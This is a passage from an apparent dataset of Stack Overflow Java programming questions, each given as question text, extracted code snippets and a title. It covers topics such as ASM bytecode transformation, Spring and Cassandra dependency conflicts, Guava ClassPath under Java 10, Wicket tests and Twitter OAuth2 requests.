advantages in my code.I will also appreciate some good example of using keyword throws . Thank you very much !",static int faktorial ( int n ) throws ArithmeticException { if ( ( n < 0 ) || ( n > 31 ) ) { throw new ArithmeticException ( ) ; } if ( n > 1 ) { return n * faktorial ( n - 1 ) ; } else { return 1 ; } } throws ArithmeticException public static void main ( String [ ] args ) { try { int n ; Scanner sc = new Scanner ( System.in ) ; System.out.print ( `` Insert integer number : `` ) ; n = sc.nextInt ( ) ; System.out.println ( n + `` ! = `` + faktorial ( n ) ) ; } catch ( InputMismatchException e ) { System.out.println ( `` Not an integer number ! `` ) ; e. printStackTrace ( ) ; } catch ( RuntimeException e ) { System.out.println ( `` Number is too big ! `` ) ; e. printStackTrace ( ) ; } } throws ArithmeticException,using keyword throws to declare throwing of Runtime Exceptions +Java,"I was wondering why when I use an anonymous instanciation along with an instance initializer block , I get a `` serializable class does not declare a static final serialVersionUID field of type long '' compile-time warning.Here 's what I mean . Let 's say I want to instantiate an ArrayList and at the same time add something to it like so : If I compile this all is ok but I get the serialVersionUID field missing warning . Now ArrayList already implements serializable and has a private static final long serialVersionUID so why is it that when I use it like that it seems that that field `` dissapears '' and I get a warning for not having it declared ?",ArrayList < Object > arrayList = new ArrayList < Object > ( ) { { add ( new Object ( ) ) ; } } ;,Anonymous initialization - strange serialization warning +Java,"I want to write a MethodVisitor that transforms LDC instructions that are for multiplication.Example bytecode : This basically pushes a constant and then multiplies it.It has to be a stateful transformation because I first have to check that it is for multiply and , if it is , I need to go back to the ldc instruction and modify the constant . I 'm not entirely sure how I would go about this , and I do n't know how to modify the constant ( when I tried to pass a different value , the old value still remained in the constant pool ) .Edit : This is what I have , but it does n't remove the old value in the constant pool , and it may have bugs .",ldc # 26imul public class AdditionTransformer extends MethodAdapter { boolean replace = false ; int operand = 0 ; AdditionTransformer ( MethodVisitor mv ) { super ( mv ) ; } @ Override public void visitInsn ( int opcode ) { if ( opcode == IMUL & & replace ) { operand *= 2 ; visitLdcInsn ( operand ) ; replace = false ; } mv.visitInsn ( opcode ) ; } @ Override public void visitLdcInsn ( Object cst ) { if ( cst instanceof Integer & & ! replace ) { operand = ( Integer ) cst ; replace = true ; } else { mv.visitLdcInsn ( cst ) ; } } },ASM : Stateful Transformation +Java,"When you concatenate a String with a primitive such as int , does it autobox the value first.ex.How does it convert the value to a string in Java ?",String string = `` Four '' + 4 ;,String Concatenation and Autoboxing in Java +Java,"I want to use Cassandra 3.x in a Spring Boot project . I found out that the current release version of the Spring Data Cassandra project only supports Cassandra 2.x . So I wanted to use the DataStax Driver instead of the Spring Data Cassandra project . I addedas a dependency . Now I can insert values into a keyspace on a Cassandra cluster . But when running tests for a REST controller I get an error So I addedas a dependency and the error went away . But now all tests usingorfail . But usingworks as expected . I assume there 's some clash in the dependencies of Spring Boot and the Netty version I added as a dependency.I found out that the latest version of the DataStax Cassandra driver to work without the additional Netty dependency is 2.1.5 which is dated Mar 2015 and does n't support Cassandra 3 . Using this driver everything works but I do n't want to use a driver that old.UPDATE : I removed the DataStax driver dependency and tried to use the 1.5.0.M1 version of Spring Data Cassandra and overrode the Spring , Spring Data Cassandra and Cassandra driver versions in the buildscript.This resulted in the following error : when using Cassandra functionality . When I include Netty again , Cassandra functionality works but my tests using TestRestTemplate.put and .post are n't running anymore.I gave it another try upgrading to Spring Boot Version 2.0.0.BUILD-SNAPSHOT which also includes Spring Data Cassandra 1.5.0.M1 . Now when I start the app and use DataStax Driver functionality I get the same NoClassDefFoundError as before . Adding Netty as a dependency kills my TestRestTemplate based unit tests again ... UPDATE : TestRestTemplate is n't working because Spring Boot configures it to use Netty4ClientHttpRequestFactory when it finds Netty on the classpath and the Netty4ClientHttpRequestFactory does n't seem to work.See https : //github.com/spring-projects/spring-boot/issues/7240and https : //jira.spring.io/browse/SPR-14860For a fix see my answer to this question .",compile 'com.datastax.cassandra : cassandra-driver-core:3.1.1 ' java.lang.NoClassDefFoundError : io/netty/handler/codec/http/FullHttpRequest compile 'io.netty : netty-all:4.1.6.Final ' TestRestTemplate.postForObject ( ... ) TestRestTemplate.put ( ... ) TestRestTemplate.getForObject ( ... ) ext [ 'spring.version ' ] = ' 5.0.0.M2'ext [ 'spring-data-releasetrain.version ' ] = 'Ingalls-M1'ext [ 'cassandra-driver.version ' ] = ' 3.1.1 ' java.lang.NoClassDefFoundError : io/netty/util/Timer,Spring Boot 1.4.1 and Cassandra 3.x +Java,"I 'm trying to get xml validation working with StAXin our jboss webapp . I 've read this post and followed the example . I then saw the following exception : As per this post , the problem here was that jboss 5.0.1 has an old version of xerces . So I upgraded it to 2.11.0 by replacing the existing xercesImpl.jar under jboss-5.0.1.GA/lib/endorsed/ . Then jboss would n't start , because of the following error : As per this post , in newer versions of xerces the classes have been split out to a separate jar file : xml-apis.jar . I took the latest version of that file ( 1.4.01 , dated December 2009 ) from the xerces homepage and added it to jboss-5.0.1.GA//lib/endorsed/ - and now jboss starts ok.So far so good.But now I am seeing the following error when I attempt to call the javax.xml.validation.Validator.validate ( ) method : There seems to be no existing problem on SO which refers to that property . Surely I ca n't be the only person trying to do xml validation with StAX on jboss 5 ? ! Or am I doing something obviously wrong ? Code snippet :",java.lang.IllegalArgumentException : Source parameter of type javax.xml.transform.stax.StAXSource ' is not accepted by this validator.at org.apache.xerces.jaxp.validation.ValidatorImpl.validate ( Unknown Source ) NoClassDefFoundError : org/w3c/dom/ElementTraversal java.lang.IllegalArgumentException : Unrecognized property 'javax.xml.stream.isInterning ' Validator validator = requestSchema.newValidator ( ) ; StAXSource source = new StAXSource ( xmlsr ) ; //an XMLStreamReader validator.validate ( source ) ;,xml validation with StAX : Unrecognized property 'javax.xml.stream.isInterning ' +Java,Would the following conversion hold for converting from Java servlet to google app-engine cloud endpoint ? FROMTOCONTEXT : I am trying to use endpoint to process blobstore callback.Ref : https : //developers.google.com/appengine/docs/java/blobstore/overview # Complete_Sample_AppPROBLEM : The big hickup here is that the following two lines seem to require the class HttpServletRequest and I do n't know if I may pass it to endpoint.EDIT : I have been trying quite a lot of routes to solve this problem . My latest is combining blob servlet with endpoint api . Still I am not able to get the code to work . So the bounty goes to anyone who provides a solution or information that actually leads to a solution .,"public void doPost ( HttpServletRequest req , HttpServletResponse res ) throws ServletException , IOException { … } @ ApiMethod ( name = `` save_blob_key '' , path = `` save_blob_key '' httpMethod = HttpMethod.POST ) public void saveBlobKey ( HttpServletRequest req ) throws IOException { … } BlobstoreService blobstoreService = BlobstoreServiceFactory.getBlobstoreService ( ) ; Map < String , List < BlobKey > > blobs = blobstoreService.getUploads ( req ) ;",convert servlet schema to app-engine endpoint schema +Java,"I 'm using guava 's ClassPath to retrieve available classes . With Java 8 , this worked well , but I 'm migrating to Java 10 , and now it does n't work . I 've tried both guava 24.1 ( the latest jarfile available on Maven Central ) and the latest sources on github ( as of April 27th 2018 ) -- presumably more or less guava 25.0 , given they released it yesterday.I can retrieve some classes , but anything in any java . * packages fail to appear . Is this is actually a bug , or am I using Java 10 wrong ( i.e. , does modularity mean I need to do something special ) ? I see the same symptom in Java 9 . I 've tried building and running with Java 10 ( or 9 ) as well as building with Java 8 and running with Java 10 ( or 9 ) , the behaviour is the same either way.I 've set up a dummy example with two classes in packages com.just.me and com.just.another : com.just.me.Main.javacom.just.another.Dummy.javaOutput ( Java 8 ) Output ( Java 9/10 )","package com.just.me ; import com.google.common.reflect.ClassPath ; import com.just.another.Dummy ; import java.lang.String ; import java.util.Collections ; import java.util.List ; import java.io.IOException ; public class Main { public static void main ( String [ ] args ) { List < String > dummyList = Collections.emptyList ( ) ; printClassCount ( `` com.just.me '' , Main.class ) ; printClassCount ( `` com.just.another '' , Main.class ) ; printClassCount ( `` com.just '' , Main.class ) ; printClassCount ( `` com.google '' , Main.class ) ; printClassCount ( `` java.lang '' , Main.class ) ; printClassCount ( `` java.util '' , Main.class ) ; printClassCount ( `` java '' , Main.class ) ; } private static void printClassCount ( String packageName , Class classForClassLoader ) { System.out.println ( `` Number of toplevel classes in `` + packageName + `` : `` + countTopleveClassesInPackage ( packageName , classForClassLoader ) ) ; } private static int countTopleveClassesInPackage ( String packageName , Class clazz ) { try { ClassPath classPath = ClassPath.from ( clazz.getClassLoader ( ) ) ; return classPath.getTopLevelClassesRecursive ( packageName ) .size ( ) ; } catch ( IOException e ) { return 0 ; } } } package com.just.another ; public class Dummy { private String s ; Dummy ( String s ) { this.s = s ; } @ Override public String toString ( ) { return s ; } } Number of toplevel classes in com.just.me : 1Number of toplevel classes in com.just.another : 1Number of toplevel classes in com.just : 2Number of toplevel classes in com.google : 569Number of toplevel classes in java.lang : 232Number of toplevel classes in java.util : 367Number of toplevel classes in java : 1878 Number of toplevel classes in com.just.me : 1Number of toplevel classes in com.just.another : 1Number of toplevel classes in com.just : 2Number of toplevel classes in com.google : 569Number of toplevel classes in java.lang : 0Number of toplevel classes in java.util : 0Number of toplevel classes in java : 0",Should ClassPath.getTopLevelClasses ( ) return ` java . * ` packages ? +Java,"I am trying to batch upload a couple of files in S3 using TranferManager . Below is my code : Here , as you can see , I am giving the file name as '1234.webp ' , but the file name that is getting saved in S3 is '34.webp ' . I tried a bigger name like '1234567.webp ' and again the first two digits get truncated and the file name is '34567.webp ' . What i am doing wrong ? Please note , that in the example that i have pasted here , i am just uploading one file but in my actual code , I do upload multiple files , but in both the cases , the names get truncated anyhow .","@ GetMapping ( `` s3/batch/upload/base64 '' ) public void uploadBase64ToWebp ( ) { List < File > fileList = new ArrayList < > ( ) ; String rawData = `` 1 '' ; String base64Data = Base64.encodeBase64String ( rawData.getBytes ( StandardCharsets.UTF_8 ) ) ; byte [ ] data = getBinaryImageData ( base64Data ) ; File file = new File ( `` 1234.webp '' ) ; try { FileUtils.writeByteArrayToFile ( file , data ) ; } catch ( IOException e ) { System.out.println ( e ) ; } fileList.add ( file ) ; ObjectMetadataProvider metadataProvider = new ObjectMetadataProvider ( ) { public void provideObjectMetadata ( File file , ObjectMetadata metadata ) { metadata.setContentType ( `` image/webp '' ) ; metadata.getUserMetadata ( ) .put ( `` filename '' , file.getPath ( ) ) ; metadata.getUserMetadata ( ) .put ( `` createDateTime '' , new Date ( ) .toString ( ) ) ; } } ; TransferManager transferManager = TransferManagerBuilder.standard ( ) .withS3Client ( amazonS3 ) .build ( ) ; transferManager.uploadFileList ( bucketName , `` school/transactions '' , new File ( `` . `` ) , fileList , metadataProvider ) ; } private byte [ ] getBinaryImageData ( String image ) { return Base64.decodeBase64 ( image .replace ( `` data : image/webp ; base64 , '' , `` '' ) .getBytes ( StandardCharsets.UTF_8 ) ) ; }",AWS TransferManager uploadFileList truncating file name in S3 +Java,I recently just received a bug report from device `` Desire HD ( ace ) '' which I can not recreate for the life of me . I looked over Here1 and Here2 but it did n't seem like it would help me with my problem or I am just not understanding this enough to know if this is the fix to my problem . My LogCat : My Manifest : Here are images of my `` Properties '' > `` Java Build Path '' if this may help solve this problem : ( `` Projects '' tab is empty ) Please let me know if there is any other sort of information you need.Edit :,java.lang.RuntimeException : Unable to instantiate activity ComponentInfo { joseph.lubonty.librarysmite11/joseph.lubonty.librarysmite11.Splash } : java.lang.ClassNotFoundException : joseph.lubonty.librarysmite11.Splash in loader dalvik.system.PathClassLoader [ /mnt/asec/joseph.lubonty.librarysmite11-2/pkg.apk ] at android.app.ActivityThread.performLaunchActivity ( ActivityThread.java:1738 ) at android.app.ActivityThread.handleLaunchActivity ( ActivityThread.java:1837 ) at android.app.ActivityThread.access $ 1500 ( ActivityThread.java:132 ) at android.app.ActivityThread $ H.handleMessage ( ActivityThread.java:1033 ) at android.os.Handler.dispatchMessage ( Handler.java:99 ) at android.os.Looper.loop ( Looper.java:143 ) at android.app.ActivityThread.main ( ActivityThread.java:4196 ) at java.lang.reflect.Method.invokeNative ( Native Method ) at java.lang.reflect.Method.invoke ( Method.java:507 ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:839 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:597 ) at dalvik.system.NativeStart.main ( Native Method ) Caused by : java.lang.ClassNotFoundException : joseph.lubonty.librarysmite11.Splash in loader dalvik.system.PathClassLoader [ /mnt/asec/joseph.lubonty.librarysmite11-2/pkg.apk ] at dalvik.system.PathClassLoader.findClass ( PathClassLoader.java:240 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:551 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:511 ) at android.app.Instrumentation.newActivity ( Instrumentation.java:1061 ) at android.app.ActivityThread.performLaunchActivity ( ActivityThread.java:1730 ) ... 11 more < manifest xmlns : android= '' http : //schemas.android.com/apk/res/android '' package= '' joseph.lubonty.librarysmite11 '' android : installLocation= '' preferExternal '' android : versionCode= '' 19 '' android : versionName= '' 2.7 '' > < compatible-screens > < ! -- all normal size screens -- > < screen android : screenDensity= '' mdpi '' android : screenSize= '' normal '' / > < screen android : screenDensity= '' hdpi '' android : screenSize= '' normal '' / > < screen android : screenDensity= '' xhdpi '' android : screenSize= '' normal '' / > < ! -- all large size screens -- > < screen android : screenDensity= '' mdpi '' android : screenSize= '' large '' / > < screen android : screenDensity= '' hdpi '' android : screenSize= '' large '' / > < screen android : screenDensity= '' xhdpi '' android : screenSize= '' large '' / > < ! -- all xlarge size screens -- > < screen android : screenDensity= '' mdpi '' android : screenSize= '' xlarge '' / > < screen android : screenDensity= '' hdpi '' android : screenSize= '' xlarge '' / > < screen android : screenDensity= '' xhdpi '' android : screenSize= '' xlarge '' / > < ! -- Special case for Nexus 7 -- > < screen android : screenDensity= '' 213 '' android : screenSize= '' large '' / > < ! -- Special case for HTC One -- > < screen android : screenDensity= '' 480 '' android : screenSize= '' large '' / > < ! -- Special case for Android DNA -- > < screen android : screenDensity= '' 480 '' android : screenSize= '' normal '' / > < /compatible-screens > < uses-sdk android : minSdkVersion= '' 10 '' android : targetSdkVersion= '' 17 '' / > < uses-permission android : name= '' android.permission.INTERNET '' / > < uses-permission android : name= '' android.permission.ACCESS_WIFI_STATE '' / > < uses-permission android : name= '' android.permission.ACCESS_NETWORK_STATE '' / > < application android : allowBackup= '' true '' android : icon= '' @ drawable/b_promo '' android : label= '' @ string/app_name '' android : logo= '' @ drawable/i_topbarimage1 '' android : theme= '' @ style/AppTheme '' > < activity android : name= '' .Splash '' android : label= '' @ string/title_activity_main '' android : noHistory= '' true '' android : screenOrientation= '' landscape '' > < intent-filter > < action android : name= '' android.intent.action.MAIN '' / > < category android : name= '' android.intent.category.LAUNCHER '' / > < /intent-filter > < /activity > < activity android : name= '' .MainActivity '' android : label= '' @ string/title_activity_main '' > < /activity > < activity android : name= '' .GodStatComparison '' android : label= '' @ string/app_name '' android : screenOrientation= '' landscape '' > < /activity > < activity android : name= '' .JungleTimers '' android : label= '' @ string/app_name '' android : screenOrientation= '' portrait '' > < /activity > < activity android : name= '' .JungleInfoTablet '' android : label= '' @ string/app_name '' android : screenOrientation= '' landscape '' > < /activity > < activity android : name= '' .JungleTimersTablet '' android : label= '' @ string/app_name '' android : screenOrientation= '' landscape '' > < /activity > < activity android : name= '' .TopPlayers '' android : label= '' @ string/app_name '' android : screenOrientation= '' landscape '' > < /activity > < /application > < /manifest > package joseph.lubonty.librarysmite11 ; public class Splash extends FragmentActivity { },java.lang.ClassNotFoundException for my app +Java,Does using the this keyword affect Java performance at all ? In this example : Is there performance overhead doing that over the following ? : A couple of coworkers and I were discussing this earlier today and no one could come up with an answer the we all agreed on . Any definitive answer ?,class Prog { private int foo ; Prog ( int foo ) { this.foo = foo ; } } class Prog { private int foo ; Prog ( int bar ) { foo = bar ; } },Does using the 'this ' keyword affect Java performance ? +Java,I came across this code : I do not understand what Class < ? > means .,public class RestfulAdage extends Application { @ Override public Set < Class < ? > > getClasses ( ) { Set < Class < ? > > set = new HashSet < Class < ? > > ( ) ; set.add ( Adages.class ) ; return set ; } },Understanding Class < ? > +Java,Creating a new button I must run code in a new thread.Usually we use new Thread ( ... . ) .start ( ) ; but I am wondering why we can not use the @ Async-Annotation.This is the Code : This is the Exception : EditBecause of some higher decisions I must respect : I must have the field final and can not autowire using the constructor .,"package net.vectorpublish.desktop.vp ; import java.awt.event.ActionEvent ; import java.awt.image.BufferedImage ; import java.net.MalformedURLException ; import java.net.URL ; import java.util.Set ; import java.util.concurrent.ExecutionException ; import java.util.concurrent.Future ; import javax.annotation.PostConstruct ; import javax.inject.Inject ; import javax.inject.Named ; import javax.swing.ImageIcon ; import javax.swing.SwingUtilities ; import org.springframework.scheduling.annotation.Async ; import net.vectorpublish.desktop.vp.api.history.Redo ; import net.vectorpublish.desktop.vp.api.layer.Layer ; import net.vectorpublish.desktop.vp.api.ui.Dialog ; import net.vectorpublish.desktop.vp.api.ui.KeyframeSlider ; import net.vectorpublish.desktop.vp.api.ui.ToolBar ; import net.vectorpublish.desktop.vp.api.ui.VPAbstractAction ; import net.vectorpublish.desktop.vp.api.vpd.DocumentNode ; import net.vectorpublish.desktop.vp.api.vpd.VectorPublishNode ; import net.vectorpublish.desktop.vp.gantt.AddTaskData ; import net.vectorpublish.desktop.vp.gantt.AddTaskHistoryStep ; import net.vectorpublish.desktop.vp.gantt.Priority ; import net.vectorpublish.desktop.vp.utils.SetUtils ; import net.vectorpublish.destkop.vp.gantt.rule.VetoableTaskAdder ; @ SuppressWarnings ( `` restriction '' ) @ Namedpublic class AddTask extends VPAbstractAction implements NodeSelectionChangeListener { public AddTask ( ) { super ( GanttText.ADD_TASK , GanttText.ADD_TASK_TT , false ) ; } @ Inject private final Dialog dlg = null ; @ Inject private final History hist = null ; @ Inject private final Redo redo = null ; @ Inject private final Layer layer = null ; @ Inject private final ToolBar toolbar = null ; @ Inject private final KeyframeSlider slider = null ; @ Inject private final Set < VetoableTaskAdder > council = null ; private DocumentNode doc ; @ Async // < -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - This creates the Exception ! public void actionPerformed ( ActionEvent arg0 ) { try { VectorPublishNode selected = layer.getSelection ( ) .iterator ( ) .next ( ) ; Future < String > taskId = dlg.ask ( GanttText.NAMESPACE , `` ID '' , `` '' ) ; Future < String > info = dlg.ask ( GanttText.NAMESPACE , `` Detail '' , `` '' ) ; Future < Priority > prio = dlg.ask ( GanttText.NAMESPACE , `` Name '' , Priority.values ( ) ) ; Future < Float > points = dlg.ask ( GanttText.NAMESPACE , `` Storypoints '' , 3f ) ; Future < String > username = dlg.ask ( GanttText.NAMESPACE , `` User '' , `` '' ) ; Future < String > avatar = dlg.ask ( GanttText.NAMESPACE , `` Avatar-Image '' , `` www.test.com/User.png '' ) ; AddTaskData addTaskData = new AddTaskData ( taskId.get ( ) , info.get ( ) , prio.get ( ) , SetUtils.nodeToImmutableIndex ( selected ) , slider.getTime ( ) , points.get ( ) , username.get ( ) , load ( avatar.get ( ) ) ) ; AddTaskHistoryStep data = new AddTaskHistoryStep ( hist , addTaskData ) ; redo.actionPerformed ( arg0 ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } catch ( ExecutionException e ) { e.printStackTrace ( ) ; } catch ( MalformedURLException e ) { e.printStackTrace ( ) ; } } private BufferedImage load ( String string ) throws MalformedURLException { ImageIcon ii = new ImageIcon ( new URL ( string ) ) ; return ( BufferedImage ) ii.getImage ( ) ; } public void changedNodeSelection ( ) { Set < VectorPublishNode > nodes = layer.getSelection ( ) ; if ( nodes.size ( ) ! = 1 ) { setEnabled ( false ) ; } else { boolean veto = false ; for ( VetoableTaskAdder vetoableTaskAdder : council ) { veto & = vetoableTaskAdder.hasVeto ( nodes ) ; } setEnabled ( ! veto ) ; } } @ PostConstruct public void setup ( ) { toolbar.add ( this ) ; } } DefaultI8nImageFactory Found : Image for key net.vectorpublish : io/new/large in cache ! ( DefaultI8nImageFactory > NewFile ) DefaultI8nImageFactory Found : Image for key net.vectorpublish : io/open/small in cache ! ( DefaultI8nImageFactory > OpenImpl ) DefaultI8nImageFactory Found : Image for key net.vectorpublish : io/open/large in cache ! ( DefaultI8nImageFactory > OpenImpl ) Exception encountered during context initialization - cancelling refresh attempt : org.springframework.beans.factory.BeanCurrentlyInCreationException : Error creating bean with name 'addTask ' : Bean with name 'addTask ' has been injected into other beans [ nodeSelectionChangeImpl , translation ] in its raw version as part of a circular reference , but has eventually been wrapped . This means that said other beans do not use the final version of the bean . This is often the result of over-eager type matching - consider using 'getBeanNamesOfType ' with the 'allowEagerInit ' flag turned off , for example.org.springframework.beans.factory.BeanCurrentlyInCreationException : Error creating bean with name 'addTask ' : Bean with name 'addTask ' has been injected into other beans [ nodeSelectionChangeImpl , translation ] in its raw version as part of a circular reference , but has eventually been wrapped . This means that said other beans do not use the final version of the bean . This is often the result of over-eager type matching - consider using 'getBeanNamesOfType ' with the 'allowEagerInit ' flag turned off , for example . at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean ( AbstractAutowireCapableBeanFactory.java:583 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean ( AbstractAutowireCapableBeanFactory.java:482 ) at org.springframework.beans.factory.support.AbstractBeanFactory $ 1.getObject ( AbstractBeanFactory.java:306 ) at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton ( DefaultSingletonBeanRegistry.java:230 ) at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean ( AbstractBeanFactory.java:302 ) at org.springframework.beans.factory.support.AbstractBeanFactory.getBean ( AbstractBeanFactory.java:197 ) at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingletons ( DefaultListableBeanFactory.java:754 ) at org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization ( AbstractApplicationContext.java:866 ) at org.springframework.context.support.AbstractApplicationContext.refresh ( AbstractApplicationContext.java:542 ) at org.springframework.context.annotation.AnnotationConfigApplicationContext. < init > ( AnnotationConfigApplicationContext.java:84 ) at net.vectorpublish.desktop.vp.VectorPublishApplicationContext. < init > ( VectorPublishApplicationContext.java:18 ) at net.vectorpublish.desktop.vp.Startup.main ( Startup.java:30 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:498 ) at org.codehaus.mojo.exec.ExecJavaMojo $ 1.run ( ExecJavaMojo.java:282 ) at java.lang.Thread.run ( Thread.java:745 )",BeanCurrentlyInCreationException for actionPerformed ( AWT ) +Java,I have this code that initializes Calligraphy default configuration . I want to use Dagger 2 in my project but I do n't fully understand what classes should I create and where to move this code in order to keep the project clean ?,public class MyApplication extends Application { @ Override public void onCreate ( ) { super.onCreate ( ) ; // The initialization I want to move CalligraphyConfig.initDefault ( new CalligraphyConfig.Builder ( ) .setDefaultFontPath ( `` fonts/MyFont.ttf '' ) .build ( ) ) ; } },Where should I move a library initialization when using Dagger 2 ? +Java,"I have several wicket tests that target a sortable DataTable , specifically ajax-clicking the sortable column headers and asserting the contents of the rendered body rows . Now the component hierarchy of the table component 's descendants is auto generated by the wicket framework , and results in paths to the sorting links ( ajax ) similar to : However , when the DataTable gets re-rendered across tests , the index of the toolbars component is incremented each time i.e similar to : which then breaks the hard-coded paths of the succeeding tests as they will no longer match.The code fragment for the datatable construction is as follows : To be precise , when I run my tests , the above System.out.printf statement prints : ( 1st test ) ( 2nd test ) ( 3rd test ) ( 4th test ) ( 5th test ) Does anyone know how I can force the index generation to be more deterministic / repeatable . Alternatively , is there a way of wild-carding or otherwise generalising the path , so as to make them immune to these increments ? Any help will be greatly appreciated chaps !","table : topToolbars : toolbars:0 : headers:1 : header : orderByLink table : topToolbars : toolbars:1 : headers:1 : header : orderByLink final PayeesProvider dataProvider = new PayeesProvider ( ) ; table = new DataTable < ResponsePayeeDetails > ( `` payees '' , columns , dataProvider , rowsPerPage ) ; table.setOutputMarkupId ( true ) ; table.addTopToolbar ( new AjaxFallbackHeadersToolbar ( table , dataProvider ) { private static final long serialVersionUID = -3509487788284410429L ; @ Override protected WebMarkupContainer newSortableHeader ( final String borderId , final String property , final ISortStateLocator locator ) { return new AjaxFallbackOrderByBorder ( borderId , property , locator , getAjaxCallDecorator ( ) ) { @ Override protected void onRender ( ) { System.out.printf ( `` Path : % s\n '' , this.getPageRelativePath ( ) ) ; super.onRender ( ) ; } private static final long serialVersionUID = -6399737639959498915L ; @ Override protected void onAjaxClick ( final AjaxRequestTarget target ) { target.add ( getTable ( ) , navigator , navigatorInfoContainer ) ; } @ Override protected void onSortChanged ( ) { super.onSortChanged ( ) ; getTable ( ) .setCurrentPage ( 0 ) ; } } ; } } ) ; table.addBottomToolbar ( new NoRecordsToolbar ( table ) ) ; add ( table ) ; Path : payees : topToolbars : toolbars:0 : headers:1 : headerPath : payees : topToolbars : toolbars:0 : headers:2 : header Path : payees : topToolbars : toolbars:2 : headers:1 : headerPath : payees : topToolbars : toolbars:2 : headers:2 : header Path : payees : topToolbars : toolbars:4 : headers:1 : headerPath : payees : topToolbars : toolbars:4 : headers:2 : header Path : payees : topToolbars : toolbars:6 : headers:1 : headerPath : payees : topToolbars : toolbars:6 : headers:2 : headerPath : payees : topToolbars : toolbars:6 : headers:1 : headerPath : payees : topToolbars : toolbars:6 : headers:2 : headerPath : payees : topToolbars : toolbars:6 : headers:1 : headerPath : payees : topToolbars : toolbars:6 : headers:2 : header Path : payees : topToolbars : toolbars:8 : headers:1 : headerPath : payees : topToolbars : toolbars:8 : headers:2 : header",How do I keep component paths constant across unit tests when using Wicket Tester +Java,"I was playing with a code snippet from the accepted answer to this question . I simply added a byte array to use UTF-16 as follows : chars has 2 elements , which means two 16-bit integers in Java ( since the code point is outside of the BMP ) .asBytes has 4 elements , which corresponds to 32 bits , which is what we 'd need to represent two 16-bit integers from chars , so it makes sense . asBytes16 has 6 elements , which is what confuses me . Why do we end up with 2 extra bytes when 32 bits is sufficient to represent this unicode character ?",final char [ ] chars = Character.toChars ( 0x1F701 ) ; final String s = new String ( chars ) ; final byte [ ] asBytes = s.getBytes ( StandardCharsets.UTF_8 ) ; final byte [ ] asBytes16 = s.getBytes ( StandardCharsets.UTF_16 ) ;,Why does this unicode character end up as 6 bytes with UTF-16 encoding ? +Java,"I have this request for twitter using javax.ws.rsencodedCredentials are my consumer secret and consumer key encoded in base 64.The request I 'm trying to do is : I keep getting 403 Forbidden : { `` errors '' : [ { `` code '' :170 , '' message '' : '' Missing required parameter : grant_type '' , '' label '' : '' forbidden_missing_parameter '' } ] } It seems that the post body is n't set correctly , anyone know how to set it ?","WebTarget target = new WebTargetBuilder ( client , OAUTH_API_ENDPOINT ) .build ( ) ; Builder request = target .request ( MediaType.APPLICATION_JSON ) .header ( `` Authorization '' , `` Basic `` + encodedCredentials ) .header ( `` Content-Type '' , `` application/x-www-form-urlencoded ; charset=UTF-8 '' ) ; Response postResponse = request .post ( Entity.entity ( `` grant_type=client_credentials '' , MediaType.TEXT_PLAIN ) ) ; System.out.println ( postResponse.readEntity ( String.class ) ) ; POST /oauth2/token HTTP/1.1Host : api.twitter.comUser-Agent : My Twitter App v1.0.23Authorization : Basic eHZ6MWV2RlM0d0VFUFRHRUZQSEJvZzpMOHFxOVBaeVJn NmllS0dFS2hab2xHQzB2SldMdzhpRUo4OERSZHlPZw==Content-Type : application/x-www- form-urlencoded ; charset=UTF-8Content-Length : 29Accept-Encoding : gzipgrant_type=client_credentials",Twitter oauth2 using javax.ws.rs +Java,"I 'm trying to solve this problem but I 'm having some troubles : In a binary search tree ( BST ) : The data value of every node in a node 's left subtree is less than the data value of that node . The data value of every node in a node 's right subtree is greater than the data value of that node . Given the root node : Determine if the binary tree is also a binary search treeI have this code : This is working in some cases , but it fails in cases like this one : As you see , node ( 4 ) is in the node ( 3 ) 's left subtree , although 4 is greater than 3 , so the method should return false . My code returns true , though . How could I control that case ? How can I check that all the values in the left/right subtree are lower/greater than the root ( not only the direct child ) ?",class Node { int data ; Node left ; Node right ; } boolean check ( Node root ) { //node does n't have any children if ( root.left == null & & root.right == null ) { return true ; } boolean leftIsBst = true ; boolean rightIsBst = true ; if ( root.left ! = null ) { leftIsBst = ( root.left.data < root.data ) & & check ( root.left ) ; } if ( root.right ! = null ) { rightIsBst = ( root.right.data > root.data ) & & check ( root.right ) ; } return leftIsBst & & rightIsBst ; },Issue checking if binary tree is also binary search tree +Java,"Sample code : Now , when I : the colon is escaped with a backslash . In fact , all colons are.The strange thing is that if I generate a properties file by hand and do not `` escape '' the colon , the properties are read just as well.So , why does the writing process of Properties ( this is the case whether you use a Writer or OutputStream by the way ) escape colons this way ?","public final class Test { public static void main ( final String ... args ) throws IOException { final Properties properties = new Properties ( ) ; properties.setProperty ( `` foo '' , `` bar : baz '' ) ; // Yeah , this supposes a Unix-like system final Path path = Paths.get ( `` /tmp/x.properties '' ) ; try ( // Requires Java 8 ! final Writer writer = Files.newBufferedWriter ( path ) ; ) { properties.store ( writer , null ) ; } } } $ cat /tmp/x.properties # The date herefoo=bar\ : baz",Why are colons escaped with a backslash when you generate a properties file using the Java API ? +Java,"I have a code to send messages to a server using SOAP . My code look like this : I create a HttpComponentsMessageSender to add a Trust Store to the request ( and add a timeout ) But when i use my template to send a message to server , i get this error : If i remove the lines with the timeouts : All works fine.Why the timeout not work ? Someone can help me ? Thanks in advance .","private WebServiceTemplate makeTemplate ( ) throws Exception { WebServiceTemplate localTemplate = new WebServiceTemplate ( ) ; Jaxb2Marshaller marshaller = makeMarshaller ( ) ; localTemplate.setMarshaller ( marshaller ) ; localTemplate.setUnmarshaller ( marshaller ) ; localTemplate.setMessageSender ( httpComponentsMessageSender ( ) ) ; // < -- Add 